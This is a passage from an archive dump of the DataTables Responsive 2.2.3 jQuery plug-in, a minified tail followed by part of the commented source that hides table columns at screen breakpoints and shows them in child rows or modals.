k=!1,j=0;b.columns().eq(0).each(function(b,c){!0===i[c]&&j++;i[c]!==m[c]&&(k=!0,a._setColumnVis(b,i[c]))});k&&(this._redrawChildren(),d(b.table().node()).trigger("responsive-resize.dt", [b,this.s.current]),0===b.page.info().recordsDisplay&&d("td",b.table().body()).eq(0).attr("colspan",j))},_resizeAuto:function(){var a=this.s.dt,b=this.s.columns;if(this.c.auto&&-1!==d.inArray(!0,d.map(b,function(a){return a.auto}))){d.isEmptyObject(n)||d.each(n,function(b){b=b.split("-");r(a,1*b[0],1*b[1])});a.table().node();var c=a.table().node().cloneNode(!1),e=d(a.table().header().cloneNode(!1)).appendTo(c),f=d(a.table().body()).clone(!1,!1).empty().appendTo(c),g=a.columns().header().filter(function(b){return a.column(b).visible()}).to$().clone(!1).css("display", "table-cell").css("min-width",0);d(f).append(d(a.rows({page:"current"}).nodes()).clone(!1)).find("th, td").css("display","");if(f=a.table().footer()){var f=d(f.cloneNode(!1)).appendTo(c),h=a.columns().footer().filter(function(b){return a.column(b).visible()}).to$().clone(!1).css("display","table-cell");d("<tr/>").append(h).appendTo(f)}d("<tr/>").append(g).appendTo(e);"inline"===this.c.details.type&&d(c).addClass("dtr-inline collapsed");d(c).find("[name]").removeAttr("name");d(c).css("position","relative"); c=d("<div/>").css({width:1,height:1,overflow:"hidden",clear:"both"}).append(c);c.insertBefore(a.table().node());g.each(function(c){c=a.column.index("fromVisible",c);b[c].minWidth=this.offsetWidth||0});c.remove()}},_setColumnVis:function(a,b){var c=this.s.dt,e=b?"":"none";d(c.column(a).header()).css("display",e);d(c.column(a).footer()).css("display",e);c.column(a).nodes().to$().css("display",e);d.isEmptyObject(n)||c.cells(null,a).indexes().each(function(a){r(c,a.row,a.column)})},_tabIndexes:function(){var a= this.s.dt,b=a.cells({page:"current"}).nodes().to$(),c=a.settings()[0],e=this.c.details.target;b.filter("[data-dtr-keyboard]").removeData("[data-dtr-keyboard]");"number"===typeof e?a.cells(null,e,{page:"current"}).nodes().to$().attr("tabIndex",c.iTabIndex).data("dtr-keyboard",1):("td:first-child, th:first-child"===e&&(e=">td:first-child, >th:first-child"),d(e,a.rows({page:"current"}).nodes()).attr("tabIndex",c.iTabIndex).data("dtr-keyboard",1))}});i.breakpoints=[{name:"desktop",width:Infinity},{name:"tablet-l", width:1024},{name:"tablet-p",width:768},{name:"mobile-l",width:480},{name:"mobile-p",width:320}];i.display={childRow:function(a,b,c){if(b){if(d(a.node()).hasClass("parent"))return a.child(c(),"child").show(),!0}else{if(a.child.isShown())return a.child(!1),d(a.node()).removeClass("parent"),!1;a.child(c(),"child").show();d(a.node()).addClass("parent");return!0}},childRowImmediate:function(a,b,c){if(!b&&a.child.isShown()||!a.responsive.hasHidden())return a.child(!1),d(a.node()).removeClass("parent"), !1;a.child(c(),"child").show();d(a.node()).addClass("parent");return!0},modal:function(a){return function(b,c,e){if(c)d("div.dtr-modal-content").empty().append(e());else{var f=function(){g.remove();d(j).off("keypress.dtr")},g=d('<div class="dtr-modal"/>').append(d('<div class="dtr-modal-display"/>').append(d('<div class="dtr-modal-content"/>').append(e())).append(d('<div class="dtr-modal-close">×</div>').click(function(){f()}))).append(d('<div class="dtr-modal-background"/>').click(function(){f()})).appendTo("body"); d(j).on("keyup.dtr",function(a){27===a.keyCode&&(a.stopPropagation(),f())})}a&&a.header&&d("div.dtr-modal-content").prepend("<h2>"+a.header(b)+"</h2>")}}};var n={};i.renderer={listHiddenNodes:function(){return function(a,b,c){var e=d('<ul data-dtr-index="'+b+'" class="dtr-details"/>'),f=!1;d.each(c,function(b,c){c.hidden&&(d('<li data-dtr-index="'+c.columnIndex+'" data-dt-row="'+c.rowIndex+'" data-dt-column="'+c.columnIndex+'"><span class="dtr-title">'+c.title+"</span> </li>").append(d('<span class="dtr-data"/>').append(t(a, c.rowIndex,c.columnIndex))).appendTo(e),f=!0)});return f?e:!1}},listHidden:function(){return function(a,b,c){return(a=d.map(c,function(a){return a.hidden?'<li data-dtr-index="'+a.columnIndex+'" data-dt-row="'+a.rowIndex+'" data-dt-column="'+a.columnIndex+'"><span class="dtr-title">'+a.title+'</span> <span class="dtr-data">'+a.data+"</span></li>":""}).join(""))?d('<ul data-dtr-index="'+b+'" class="dtr-details"/>').append(a):!1}},tableAll:function(a){a=d.extend({tableClass:""},a);return function(b, c,e){b=d.map(e,function(a){return'<tr data-dt-row="'+a.rowIndex+'" data-dt-column="'+a.columnIndex+'"><td>'+a.title+":</td> <td>"+a.data+"</td></tr>"}).join("");return d('<table class="'+a.tableClass+' dtr-details" width="100%"/>').append(b)}}};i.defaults={breakpoints:i.breakpoints,auto:!0,details:{display:i.display.childRow,renderer:i.renderer.listHidden(),target:0,type:"inline"},orthogonal:"display"};var p=d.fn.dataTable.Api;p.register("responsive()",function(){return this});p.register("responsive.index()", function(a){a=d(a);return{column:a.data("dtr-index"),row:a.parent().data("dtr-index")}});p.register("responsive.rebuild()",function(){return this.iterator("table",function(a){a._responsive&&a._responsive._classLogic()})});p.register("responsive.recalc()",function(){return this.iterator("table",function(a){a._responsive&&(a._responsive._resizeAuto(),a._responsive._resize())})});p.register("responsive.hasHidden()",function(){var a=this.context[0];return a._responsive?-1!==d.inArray(!1,a._responsive.s.current): !1});p.registerPlural("columns().responsiveHidden()","column().responsiveHidden()",function(){return this.iterator("column",function(a,b){return a._responsive?a._responsive.s.current[b]:!1},1)});i.version="2.2.3";d.fn.dataTable.Responsive=i;d.fn.DataTable.Responsive=i;d(j).on("preInit.dt.dtr",function(a,b){if("dt"===a.namespace&&(d(b.nTable).hasClass("responsive")||d(b.nTable).hasClass("dt-responsive")||b.oInit.responsive||o.defaults.responsive)){var c=b.oInit.responsive;!1!==c&&new i(b,d.isPlainObject(c)? c:{})}});return i}); dataTables.responsive.js000064400000116076151677356120011372 0ustar00/*! Responsive 2.2.3 * 2014-2018 SpryMedia Ltd - datatables.net/license */ /** * @summary Responsive * @description Responsive tables plug-in for DataTables * @version 2.2.3 * @file dataTables.responsive.js * @author SpryMedia Ltd (www.sprymedia.co.uk) * @contact www.sprymedia.co.uk/contact * @copyright Copyright 2014-2018 SpryMedia Ltd. * * This source file is free software, available under the following license: * MIT license - http://datatables.net/license/mit * * This source file is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the license files for details. * * For details please refer to: http://www.datatables.net */ (function( factory ){ if ( typeof define === 'function' && define.amd ) { // AMD define( ['jquery', 'datatables.net'], function ( $ ) { return factory( $, window, document ); } ); } else if ( typeof exports === 'object' ) { // CommonJS module.exports = function (root, $) { if ( ! root ) { root = window; } if ( ! $ || ! $.fn.dataTable ) { $ = require('datatables.net')(root, $).$; } return factory( $, root, root.document ); }; } else { // Browser factory( jQuery, window, document ); } }(function( $, window, document, undefined ) { 'use strict'; var DataTable = $.fn.dataTable; /** * Responsive is a plug-in for the DataTables library that makes use of * DataTables' ability to change the visibility of columns, changing the * visibility of columns so the displayed columns fit into the table container. * The end result is that complex tables will be dynamically adjusted to fit * into the viewport, be it on a desktop, tablet or mobile browser. * * Responsive for DataTables has two modes of operation, which can used * individually or combined: * * * Class name based control - columns assigned class names that match the * breakpoint logic can be shown / hidden as required for each breakpoint. * * Automatic control - columns are automatically hidden when there is no * room left to display them. Columns removed from the right. * * In additional to column visibility control, Responsive also has built into * options to use DataTables' child row display to show / hide the information * from the table that has been hidden. There are also two modes of operation * for this child row display: * * * Inline - when the control element that the user can use to show / hide * child rows is displayed inside the first column of the table. * * Column - where a whole column is dedicated to be the show / hide control. * * Initialisation of Responsive is performed by: * * * Adding the class `responsive` or `dt-responsive` to the table. In this case * Responsive will automatically be initialised with the default configuration * options when the DataTable is created. * * Using the `responsive` option in the DataTables configuration options. This * can also be used to specify the configuration options, or simply set to * `true` to use the defaults. * * @class * @param {object} settings DataTables settings object for the host table * @param {object} [opts] Configuration options * @requires jQuery 1.7+ * @requires DataTables 1.10.3+ * * @example * $('#example').DataTable( { * responsive: true * } ); * } ); */ var Responsive = function ( settings, opts ) { // Sanity check that we are using DataTables 1.10 or newer if ( ! DataTable.versionCheck || ! DataTable.versionCheck( '1.10.10' ) ) { throw 'DataTables Responsive requires DataTables 1.10.10 or newer'; } this.s = { dt: new DataTable.Api( settings ), columns: [], current: [] }; // Check if responsive has already been initialised on this table if ( this.s.dt.settings()[0].responsive ) { return; } // details is an object, but for simplicity the user can give it as a string // or a boolean if ( opts && typeof opts.details === 'string' ) { opts.details = { type: opts.details }; } else if ( opts && opts.details === false ) { opts.details = { type: false }; } else if ( opts && opts.details === true ) { opts.details = { type: 'inline' }; } this.c = $.extend( true, {}, Responsive.defaults, DataTable.defaults.responsive, opts ); settings.responsive = this; this._constructor(); }; $.extend( Responsive.prototype, { /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Constructor */ /** * Initialise the Responsive instance * * @private */ _constructor: function () { var that = this; var dt = this.s.dt; var dtPrivateSettings = dt.settings()[0]; var oldWindowWidth = $(window).width(); dt.settings()[0]._responsive = this; // Use DataTables' throttle function to avoid processor thrashing on // resize $(window).on( 'resize.dtr orientationchange.dtr', DataTable.util.throttle( function () { // iOS has a bug whereby resize can fire when only scrolling // See: http://stackoverflow.com/questions/8898412 var width = $(window).width(); if ( width !== oldWindowWidth ) { that._resize(); oldWindowWidth = width; } } ) ); // DataTables doesn't currently trigger an event when a row is added, so // we need to hook into its private API to enforce the hidden rows when // new data is added dtPrivateSettings.oApi._fnCallbackReg( dtPrivateSettings, 'aoRowCreatedCallback', function (tr, data, idx) { if ( $.inArray( false, that.s.current ) !== -1 ) { $('>td, >th', tr).each( function ( i ) { var idx = dt.column.index( 'toData', i ); if ( that.s.current[idx] === false ) { $(this).css('display', 'none'); } } ); } } ); // Destroy event handler dt.on( 'destroy.dtr', function () { dt.off( '.dtr' ); $( dt.table().body() ).off( '.dtr' ); $(window).off( 'resize.dtr orientationchange.dtr' ); // Restore the columns that we've hidden $.each( that.s.current, function ( i, val ) { if ( val === false ) { that._setColumnVis( i, true ); } } ); } ); // Reorder the breakpoints array here in case they have been added out // of order this.c.breakpoints.sort( function (a, b) { return a.width < b.width ? 1 : a.width > b.width ? -1 : 0; } ); this._classLogic(); this._resizeAuto(); // Details handler var details = this.c.details; if ( details.type !== false ) { that._detailsInit(); // DataTables will trigger this event on every column it shows and // hides individually dt.on( 'column-visibility.dtr', function () { // Use a small debounce to allow multiple columns to be set together if ( that._timer ) { clearTimeout( that._timer ); } that._timer = setTimeout( function () { that._timer = null; that._classLogic(); that._resizeAuto(); that._resize(); that._redrawChildren(); }, 100 ); } ); // Redraw the details box on each draw which will happen if the data // has changed. This is used until DataTables implements a native // `updated` event for rows dt.on( 'draw.dtr', function () { that._redrawChildren(); } ); $(dt.table().node()).addClass( 'dtr-'+details.type ); } dt.on( 'column-reorder.dtr', function (e, settings, details) { that._classLogic(); that._resizeAuto(); that._resize(); } ); // Change in column sizes means we need to calc dt.on( 'column-sizing.dtr', function () { that._resizeAuto(); that._resize(); }); // On Ajax reload we want to reopen any child rows which are displayed // by responsive dt.on( 'preXhr.dtr', function () { var rowIds = []; dt.rows().every( function () { if ( this.child.isShown() ) { rowIds.push( this.id(true) ); } } ); dt.one( 'draw.dtr', function () { that._resizeAuto(); that._resize(); dt.rows( rowIds ).every( function () { that._detailsDisplay( this, false ); } ); } ); }); dt.on( 'init.dtr', function (e, settings, details) { that._resizeAuto(); that._resize(); // If columns were hidden, then DataTables needs to adjust the // column sizing if ( $.inArray( false, that.s.current ) ) { dt.columns.adjust(); } } ); // First pass - draw the table for the current viewport size this._resize(); }, /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Private methods */ /** * Calculate the visibility for the columns in a table for a given * breakpoint. The result is pre-determined based on the class logic if * class names are used to control all columns, but the width of the table * is also used if there are columns which are to be automatically shown * and hidden. * * @param {string} breakpoint Breakpoint name to use for the calculation * @return {array} Array of boolean values initiating the visibility of each * column. * @private */ _columnsVisiblity: function ( breakpoint ) { var dt = this.s.dt; var columns = this.s.columns; var i, ien; // Create an array that defines the column ordering based first on the // column's priority, and secondly the column index. This allows the // columns to be removed from the right if the priority matches var order = columns .map( function ( col, idx ) { return { columnIdx: idx, priority: col.priority }; } ) .sort( function ( a, b ) { if ( a.priority !== b.priority ) { return a.priority - b.priority; } return a.columnIdx - b.columnIdx; } ); // Class logic - determine which columns are in this breakpoint based // on the classes. If no class control (i.e. `auto`) then `-` is used // to indicate this to the rest of the function var display = $.map( columns, function ( col, i ) { if ( dt.column(i).visible() === false ) { return 'not-visible'; } return col.auto && col.minWidth === null ? false : col.auto === true ? '-' : $.inArray( breakpoint, col.includeIn ) !== -1; } ); // Auto column control - first pass: how much width is taken by the // ones that must be included from the non-auto columns var requiredWidth = 0; for ( i=0, ien=display.length ; i<ien ; i++ ) { if ( display[i] === true ) { requiredWidth += columns[i].minWidth; } } // Second pass, use up any remaining width for other columns. For // scrolling tables we need to subtract the width of the scrollbar. It // may not be requires which makes this sub-optimal, but it would // require another full redraw to make complete use of those extra few // pixels var scrolling = dt.settings()[0].oScroll; var bar = scrolling.sY || scrolling.sX ? scrolling.iBarWidth : 0; var widthAvailable = dt.table().container().offsetWidth - bar; var usedWidth = widthAvailable - requiredWidth; // Control column needs to always be included. This makes it sub- // optimal in terms of using the available with, but to stop layout // thrashing or overflow. Also we need to account for the control column // width first so we know how much width is available for the other // columns, since the control column might not be the first one shown for ( i=0, ien=display.length ; i<ien ; i++ ) { if ( columns[i].control ) { usedWidth -= columns[i].minWidth; } } // Allow columns to be shown (counting by priority and then right to // left) until we run out of room var empty = false; for ( i=0, ien=order.length ; i<ien ; i++ ) { var colIdx = order[i].columnIdx; if ( display[colIdx] === '-' && ! columns[colIdx].control && columns[colIdx].minWidth ) { // Once we've found a column that won't fit we don't let any // others display either, or columns might disappear in the // middle of the table if ( empty || usedWidth - columns[colIdx].minWidth < 0 ) { empty = true; display[colIdx] = false; } else { display[colIdx] = true; } usedWidth -= columns[colIdx].minWidth; } } // Determine if the 'control' column should be shown (if there is one). // This is the case when there is a hidden column (that is not the // control column). The two loops look inefficient here, but they are // trivial and will fly through. We need to know the outcome from the // first , before the action in the second can be taken var showControl = false; for ( i=0, ien=columns.length ; i<ien ; i++ ) { if ( ! columns[i].control && ! columns[i].never && display[i] === false ) { showControl = true; break; } } for ( i=0, ien=columns.length ; i<ien ; i++ ) { if ( columns[i].control ) { display[i] = showControl; } // Replace not visible string with false from the control column detection above if ( display[i] === 'not-visible' ) { display[i] = false; } } // Finally we need to make sure that there is at least one column that // is visible if ( $.inArray( true, display ) === -1 ) { display[0] = true; } return display; }, /** * Create the internal `columns` array with information about the columns * for the table. This includes determining which breakpoints the column * will appear in, based upon class names in the column, which makes up the * vast majority of this method. * * @private */ _classLogic: function () { var that = this; var calc = {}; var breakpoints = this.c.breakpoints; var dt = this.s.dt; var columns = dt.columns().eq(0).map( function (i) { var column = this.column(i); var className = column.header().className; var priority = dt.settings()[0].aoColumns[i].responsivePriority; if ( priority === undefined ) { var dataPriority = $(column.header()).data('priority'); priority = dataPriority !== undefined ? dataPriority * 1 : 10000; } return { className: className, includeIn: [], auto: false, control: false, never: className.match(/\bnever\b/) ? true : false, priority: priority }; } ); // Simply add a breakpoint to `includeIn` array, ensuring that there are // no duplicates var add = function ( colIdx, name ) { var includeIn = columns[ colIdx ].includeIn; if ( $.inArray( name, includeIn ) === -1 ) { includeIn.push( name ); } }; var column = function ( colIdx, name, operator, matched ) { var size, i, ien; if ( ! operator ) { columns[ colIdx ].includeIn.push( name ); } else if ( operator === 'max-' ) { // Add this breakpoint and all smaller size = that._find( name ).width; for ( i=0, ien=breakpoints.length ; i<ien ; i++ ) { if ( breakpoints[i].width <= size ) { add( colIdx, breakpoints[i].name ); } } } else if ( operator === 'min-' ) { // Add this breakpoint and all larger size = that._find( name ).width; for ( i=0, ien=breakpoints.length ; i<ien ; i++ ) { if ( breakpoints[i].width >= size ) { add( colIdx, breakpoints[i].name ); } } } else if ( operator === 'not-' ) { // Add all but this breakpoint for ( i=0, ien=breakpoints.length ; i<ien ; i++ ) { if ( breakpoints[i].name.indexOf( matched ) === -1 ) { add( colIdx, breakpoints[i].name ); } } } }; // Loop over each column and determine if it has a responsive control // class columns.each( function ( col, i ) { var classNames = col.className.split(' '); var hasClass = false; // Split the class name up so multiple rules can be applied if needed for ( var k=0, ken=classNames.length ; k<ken ; k++ ) { var className = $.trim( classNames[k] ); if ( className === 'all' ) { // Include in all hasClass = true; col.includeIn = $.map( breakpoints, function (a) { return a.name; } ); return; } else if ( className === 'none' || col.never ) { // Include in none (default) and no auto hasClass = true; return; } else if ( className === 'control' ) { // Special column that is only visible, when one of the other // columns is hidden. This is used for the details control hasClass = true; col.control = true; return; } $.each( breakpoints, function ( j, breakpoint ) { // Does this column have a class that matches this breakpoint? var brokenPoint = breakpoint.name.split('-'); var re = new RegExp( '(min\\-|max\\-|not\\-)?('+brokenPoint[0]+')(\\-[_a-zA-Z0-9])?' ); var match = className.match( re ); if ( match ) { hasClass = true; if ( match[2] === brokenPoint[0] && match[3] === '-'+brokenPoint[1] ) { // Class name matches breakpoint name fully column( i, breakpoint.name, match[1], match[2]+match[3] ); } else if ( match[2] === brokenPoint[0] && ! match[3] ) { // Class name matched primary breakpoint name with no qualifier column( i, breakpoint.name, match[1], match[2] ); } } } ); } // If there was no control class, then automatic sizing is used if ( ! hasClass ) { col.auto = true; } } ); this.s.columns = columns; }, /** * Show the details for the child row * * @param {DataTables.Api} row API instance for the row * @param {boolean} update Update flag * @private */ _detailsDisplay: function ( row, update ) { var that = this; var dt = this.s.dt; var details = this.c.details; if ( details && details.type !== false ) { var res = details.display( row, update, function () { return details.renderer( dt, row[0], that._detailsObj(row[0]) ); } ); if ( res === true || res === false ) { $(dt.table().node()).triggerHandler( 'responsive-display.dt', [dt, row, res, update] ); } } }, /** * Initialisation for the details handler * * @private */ _detailsInit: function () { var that = this; var dt = this.s.dt; var details = this.c.details; // The inline type always uses the first child as the target if ( details.type === 'inline' ) { details.target = 'td:first-child, th:first-child'; } // Keyboard accessibility dt.on( 'draw.dtr', function () { that._tabIndexes(); } ); that._tabIndexes(); // Initial draw has already happened $( dt.table().body() ).on( 'keyup.dtr', 'td, th', function (e) { if ( e.keyCode === 13 && $(this).data('dtr-keyboard') ) { $(this).click(); } } ); // type.target can be a string jQuery selector or a column index var target = details.target; var selector = typeof target === 'string' ? target : 'td, th'; // Click handler to show / hide the details rows when they are available $( dt.table().body() ) .on( 'click.dtr mousedown.dtr mouseup.dtr', selector, function (e) { // If the table is not collapsed (i.e. there is no hidden columns) // then take no action if ( ! $(dt.table().node()).hasClass('collapsed' ) ) { return; } // Check that the row is actually a DataTable's controlled node if ( $.inArray( $(this).closest('tr').get(0), dt.rows().nodes().toArray() ) === -1 ) { return; } // For column index, we determine if we should act or not in the // handler - otherwise it is already okay if ( typeof target === 'number' ) { var targetIdx = target < 0 ? dt.columns().eq(0).length + target : target; if ( dt.cell( this ).index().column !== targetIdx ) { return; } } // $().closest() includes itself in its check var row = dt.row( $(this).closest('tr') ); // Check event type to do an action if ( e.type === 'click' ) { // The renderer is given as a function so the caller can execute it // only when they need (i.e. if hiding there is no point is running // the renderer) that._detailsDisplay( row, false ); } else if ( e.type === 'mousedown' ) { // For mouse users, prevent the focus ring from showing $(this).css('outline', 'none'); } else if ( e.type === 'mouseup' ) { // And then re-allow at the end of the click $(this).blur().css('outline', ''); } } ); }, /** * Get the details to pass to a renderer for a row * @param {int} rowIdx Row index * @private */ _detailsObj: function ( rowIdx ) { var that = this; var dt = this.s.dt; return $.map( this.s.columns, function( col, i ) { // Never and control columns should not be passed to the renderer if ( col.never || col.control ) { return; } return { title: dt.settings()[0].aoColumns[ i ].sTitle, data: dt.cell( rowIdx, i ).render( that.c.orthogonal ), hidden: dt.column( i ).visible() && !that.s.current[ i ], columnIndex: i, rowIndex: rowIdx }; } ); }, /** * Find a breakpoint object from a name * * @param {string} name Breakpoint name to find * @return {object} Breakpoint description object * @private */ _find: function ( name ) { var breakpoints = this.c.breakpoints; for ( var i=0, ien=breakpoints.length ; i<ien ; i++ ) { if ( breakpoints[i].name === name ) { return breakpoints[i]; } } }, /** * Re-create the contents of the child rows as the display has changed in * some way. * * @private */ _redrawChildren: function () { var that = this; var dt = this.s.dt; dt.rows( {page: 'current'} ).iterator( 'row', function ( settings, idx ) { var row = dt.row( idx ); that._detailsDisplay( dt.row( idx ), true ); } ); }, /** * Alter the table display for a resized viewport. This involves first * determining what breakpoint the window currently is in, getting the * column visibilities to apply and then setting them. * * @private */ _resize: function () { var that = this; var dt = this.s.dt; var width = $(window).width(); var breakpoints = this.c.breakpoints; var breakpoint = breakpoints[0].name; var columns = this.s.columns; var i, ien; var oldVis = this.s.current.slice(); // Determine what breakpoint we are currently at for ( i=breakpoints.length-1 ; i>=0 ; i-- ) { if ( width <= breakpoints[i].width ) { breakpoint = breakpoints[i].name; break; } } // Show the columns for that break point var columnsVis = this._columnsVisiblity( breakpoint ); this.s.current = columnsVis; // Set the class before the column visibility is changed so event // listeners know what the state is. Need to determine if there are // any columns that are not visible but can be shown var collapsedClass = false; for ( i=0, ien=columns.length ; i<ien ; i++ ) { if ( columnsVis[i] === false && ! columns[i].never && ! columns[i].control && ! dt.column(i).visible() === false ) { collapsedClass = true; break; } } $( dt.table().node() ).toggleClass( 'collapsed', collapsedClass ); var changed = false; var visible = 0; dt.columns().eq(0).each( function ( colIdx, i ) { if ( columnsVis[i] === true ) { visible++; } if ( columnsVis[i] !== oldVis[i] ) { changed = true; that._setColumnVis( colIdx, columnsVis[i] ); } } ); if ( changed ) { this._redrawChildren(); // Inform listeners of the change $(dt.table().node()).trigger( 'responsive-resize.dt', [dt, this.s.current] ); // If no records, update the "No records" display element if ( dt.page.info().recordsDisplay === 0 ) { $('td', dt.table().body()).eq(0).attr('colspan', visible); } } }, /** * Determine the width of each column in the table so the auto column hiding * has that information to work with. This method is never going to be 100% * perfect since column widths can change slightly per page, but without * seriously compromising performance this is quite effective. * * @private */ _resizeAuto: function () { var dt = this.s.dt; var columns = this.s.columns; // Are we allowed to do auto sizing? if ( ! this.c.auto ) { return; } // Are there any columns that actually need auto-sizing, or do they all // have classes defined if ( $.inArray( true, $.map( columns, function (c) { return c.auto; } ) ) === -1 ) { return; } // Need to restore all children. They will be reinstated by a re-render if ( ! $.isEmptyObject( _childNodeStore ) ) { $.each( _childNodeStore, function ( key ) { var idx = key.split('-'); _childNodesRestore( dt, idx[0]*1, idx[1]*1 ); } ); } // Clone the table with the current data in it var tableWidth = dt.table().node().offsetWidth; var columnWidths = dt.columns; var clonedTable = dt.table().node().cloneNode( false ); var clonedHeader = $( dt.table().header().cloneNode( false ) ).appendTo( clonedTable ); var clonedBody = $( dt.table().body() ).clone( false, false ).empty().appendTo( clonedTable ); // use jQuery because of IE8 // Header var headerCells = dt.columns() .header() .filter( function (idx) { return dt.column(idx).visible(); } ) .to$() .clone( false ) .css( 'display', 'table-cell' ) .css( 'min-width', 0 ); // Body rows - we don't need to take account of DataTables' column // visibility since we implement our own here (hence the `display` set) $(clonedBody) .append( $(dt.rows( { page: 'current' } ).nodes()).clone( false ) ) .find( 'th, td' ).css( 'display', '' ); // Footer var footer = dt.table().footer(); if ( footer ) { var clonedFooter = $( footer.cloneNode( false ) ).appendTo( clonedTable ); var footerCells = dt.columns() .footer() .filter( function (idx) { return dt.column(idx).visible(); } ) .to$() .clone( false ) .css( 'display', 'table-cell' ); $('<tr/>') .append( footerCells ) .appendTo( clonedFooter ); } $('<tr/>') .append( headerCells ) .appendTo( clonedHeader ); // In the inline case extra padding is applied to the first column to // give space for the show / hide icon. We need to use this in the // calculation if ( this.c.details.type === 'inline' ) { $(clonedTable).addClass( 'dtr-inline collapsed' ); } // It is unsafe to insert elements with the same name into the DOM // multiple times. For example, cloning and inserting a checked radio // clears the chcecked state of the original radio. $( clonedTable ).find( '[name]' ).removeAttr( 'name' ); // A position absolute table would take the table out of the flow of // our container element, bypassing the height and width (Scroller) $( clonedTable ).css( 'position', 'relative' ) var inserted = $('<div/>') .css( { width: 1, height: 1, overflow: 'hidden', clear: 'both' } ) .append( clonedTable ); inserted.insertBefore( dt.table().node() ); // The cloned header now contains the smallest that each column can be headerCells.each( function (i) { var idx = dt.column.index( 'fromVisible', i ); columns[ idx ].minWidth = this.offsetWidth || 0; } ); inserted.remove(); }, /** * Set a column's visibility. * * We don't use DataTables' column visibility controls in order to ensure * that column visibility can Responsive can no-exist. Since only IE8+ is * supported (and all evergreen browsers of course) the control of the * display attribute works well. * * @param {integer} col Column index * @param {boolean} showHide Show or hide (true or false) * @private */ _setColumnVis: function ( col, showHide ) { var dt = this.s.dt; var display = showHide ? '' : 'none'; // empty string will remove the attr $( dt.column( col ).header() ).css( 'display', display ); $( dt.column( col ).footer() ).css( 'display', display ); dt.column( col ).nodes().to$().css( 'display', display ); // If the are child nodes stored, we might need to reinsert them if ( ! $.isEmptyObject( _childNodeStore ) ) { dt.cells( null, col ).indexes().each( function (idx) { _childNodesRestore( dt, idx.row, idx.column ); } ); } }, /** * Update the cell tab indexes for keyboard accessibility. This is called on * every table draw - that is potentially inefficient, but also the least * complex option given that column visibility can change on the fly. Its a * shame user-focus was removed from CSS 3 UI, as it would have solved this * issue with a single CSS statement. * * @private */ _tabIndexes: function () { var dt = this.s.dt; var cells = dt.cells( { page: 'current' } ).nodes().to$(); var ctx = dt.settings()[0]; var target = this.c.details.target; cells.filter( '[data-dtr-keyboard]' ).removeData( '[data-dtr-keyboard]' ); if ( typeof target === 'number' ) { dt.cells( null, target, { page: 'current' } ).nodes().to$() .attr( 'tabIndex', ctx.iTabIndex ) .data( 'dtr-keyboard', 1 ); } else { // This is a bit of a hack - we need to limit the selected nodes to just // those of this table if ( target === 'td:first-child, th:first-child' ) { target = '>td:first-child, >th:first-child'; } $( target, dt.rows( { page: 'current' } ).nodes() ) .attr( 'tabIndex', ctx.iTabIndex ) .data( 'dtr-keyboard', 1 ); } } } ); /** * List of default breakpoints. Each item in the array is an object with two * properties: * * * `name` - the breakpoint name. * * `width` - the breakpoint width * * @name Responsive.breakpoints * @static */ Responsive.breakpoints = [ { name: 'desktop', width: Infinity }, { name: 'tablet-l', width: 1024 }, { name: 'tablet-p', width: 768 }, { name: 'mobile-l', width: 480 }, { name: 'mobile-p', width: 320 } ]; /** * Display methods - functions which define how the hidden data should be shown * in the table. * * @namespace * @name Responsive.defaults * @static */ Responsive.display = { childRow: function ( row, update, render ) { if ( update ) { if ( $(row.node()).hasClass('parent') ) { row.child( render(), 'child' ).show(); return true; } } else { if ( ! row.child.isShown() ) { row.child( render(), 'child' ).show(); $( row.node() ).addClass( 'parent' ); return true; } else { row.child( false ); $( row.node() ).removeClass( 'parent' ); return false; } } }, childRowImmediate: function ( row, update, render ) { if ( (! update && row.child.isShown()) || ! row.responsive.hasHidden() ) { // User interaction and the row is show, or nothing to show row.child( false ); $( row.node() ).removeClass( 'parent' ); return false; } else { // Display row.child( render(), 'child' ).show(); $( row.node() ).addClass( 'parent' ); return true; } }, // This is a wrapper so the modal options for Bootstrap and jQuery UI can // have options passed into them. This specific one doesn't need to be a // function but it is for consistency in the `modal` name modal: function ( options ) { return function ( row, update, render ) { if ( ! update ) { // Show a modal var close = function () { modal.remove(); // will tidy events for us $(document).off( 'keypress.dtr' ); }; var modal = $('<div class="dtr-modal"/>') .append( $('<div class="dtr-modal-display"/>') .append( $('<div class="dtr-modal-content"/>') .append( render() ) ) .append( $('<div class="dtr-modal-close">×</div>' ) .click( function () { close(); } ) ) ) .append( $('<div class="dtr-modal-background"/>') .click( function () { close(); } ) ) .appendTo( 'body' ); $(document).on( 'keyup.dtr', function (e) { if ( e.keyCode === 27 ) { e.stopPropagation(); close(); } } ); } else { $('div.dtr-modal-content') .empty() .append( render() ); } if ( options && options.header ) { $('div.dtr-modal-content').prepend( '<h2>'+options.header( row )+'</h2>' ); } }; } }; var _childNodeStore = {}; function _childNodes( dt, row, col ) { var name = row+'-'+col; if ( _childNodeStore[ name ] ) { return _childNodeStore[ name ]; } // https://jsperf.com/childnodes-array-slice-vs-loop var nodes = []; var children = dt.cell( row, col ).node().childNodes; for ( var i=0, ien=children.length ; i<ien ; i++ ) { nodes.push( children[i] ); } _childNodeStore[ name ] = nodes; return nodes; } function _childNodesRestore( dt, row, col ) { var name = row+'-'+col; if ( ! _childNodeStore[ name ] ) { return; } var node = dt.cell( row, col ).node(); var store = _childNodeStore[ name ]; var parent = store[0].parentNode; var parentChildren = parent.childNodes; var a = []; for ( var i=0, ien=parentChildren.length ; i<ien ; i++ ) { a.push( parentChildren[i] ); } for ( var j=0, jen=a.length ; j<jen ; j++ ) { node.appendChild( a[j] ); } _childNodeStore[ name ] = undefined; } /** * Display methods - functions which define how the hidden data should be shown * in the table. * * @namespace * @name Responsive.defaults * @static */ Responsive.renderer = { listHiddenNodes: function () { return function ( api, rowIdx, columns ) { var ul = $('<ul data-dtr-index="'+rowIdx+'" class="dtr-details"/>'); var found = false; var data = $.each( columns, function ( i, col ) { if ( col.hidden ) { $( '<li data-dtr-index="'+col.columnIndex+'" data-dt-row="'+col.rowIndex+'" data-dt-column="'+col.columnIndex+'">'+ '<span class="dtr-title">'+ col.title+ '</span> '+ '</li>' ) .append( $('<span class="dtr-data"/>').append( _childNodes( api, col.rowIndex, col.columnIndex ) ) )// api.cell( col.rowIndex, col.columnIndex ).node().childNodes ) ) .appendTo( ul ); found = true; } } ); return found ? ul : false; }; }, listHidden: function () { return function ( api, rowIdx, columns ) { var data = $.map( 